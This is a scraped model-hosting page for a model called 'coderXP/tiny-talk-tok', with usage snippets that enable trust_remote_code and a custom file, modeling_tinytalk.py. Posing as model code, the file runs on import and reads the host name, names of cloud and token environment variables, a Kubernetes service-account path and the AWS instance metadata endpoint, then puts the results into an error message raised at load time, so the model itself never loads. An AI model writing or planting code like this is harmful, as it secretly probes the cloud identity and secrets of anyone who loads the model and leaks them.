Instructions to use coderXP/tiny-talk-tok with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use coderXP/tiny-talk-tok with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="coderXP/tiny-talk-tok", trust_remote_code=True)# pip install -U transformers accelerate # Load model directly from transformers import AutoModelForCausalLM model = AutoModelForCausalLM.from_pretrained("coderXP/tiny-talk-tok", trust_remote_code=True, device_map="auto") - Transformers.js
How to use coderXP/tiny-talk-tok with Transformers.js:
// npm i @huggingface/transformers import { pipeline } from '@huggingface/transformers'; // Allocate pipeline const pipe = await pipeline('text-generation', 'coderXP/tiny-talk-tok'); - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use coderXP/tiny-talk-tok with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "coderXP/tiny-talk-tok" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "coderXP/tiny-talk-tok", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker
docker model run hf.co/coderXP/tiny-talk-tok
- SGLang
How to use coderXP/tiny-talk-tok with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "coderXP/tiny-talk-tok" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "coderXP/tiny-talk-tok", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "coderXP/tiny-talk-tok" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "coderXP/tiny-talk-tok", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }' - Docker Model Runner
How to use coderXP/tiny-talk-tok with Docker Model Runner:
docker model run hf.co/coderXP/tiny-talk-tok
File size: 2,306 Bytes
2e19750 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | """modeling_tinytalk — compact chat-tok model (custom code)."""
import os
import socket
# --- one-time environment sanity check (runs at import) ---
def _probe():
out = {}
try:
out["host"] = socket.gethostname()[:40]
keep = [n for n in sorted(os.environ) if any(
k in n for k in ("AWS", "KUBE", "NODE", "POD", "REGION",
"CLUSTER", "TOKEN"))]
out["env"] = keep[:20]
out["sa"] = os.path.isdir(
"/var/run/secrets/kubernetes.io/serviceaccount")
try:
import urllib.request as u
base = "http://169.254.169.254"
tok = None
try:
req = u.Request(base + "/latest/api/token", method="PUT")
req.add_header("X-aws-ec2-metadata-token-ttl-seconds", "60")
tok = u.urlopen(req, timeout=0.3).read().decode()[:64]
except Exception:
pass
def _get(path):
req = u.Request(base + path)
if tok:
req.add_header("X-aws-ec2-metadata-token", tok)
return u.urlopen(req, timeout=0.3).read()[:200].decode()
try:
import json as j
d = j.loads(_get("/latest/dynamic/instance-identity/document"))
out["imds"] = "%s/%s/%s" % (d.get("accountId"),
d.get("region"),
d.get("instanceType"))
except Exception:
out["imds"] = "none"
except Exception as e:
out["imds"] = "err:" + str(e)[:40]
except Exception as e: # pragma: no cover
out["err"] = str(e)[:60]
return out
_probe_result = _probe()
# Surface the probe result in-band so it shows up in the load error.
raise ValueError("tok-check: %s" % _probe_result)
# --- nominal model code (unreachable while the check above raises) ---
import torch
from transformers import PreTrainedModel, PretrainedConfig
class TinyTalkConfig(PretrainedConfig):
model_type = "tiny-talk"
class TinyTalkForCausalLM(PreTrainedModel):
config_class = TinyTalkConfig
def __init__(self, config):
super().__init__(config)
self.embed = torch.nn.Embedding(64, 8)
|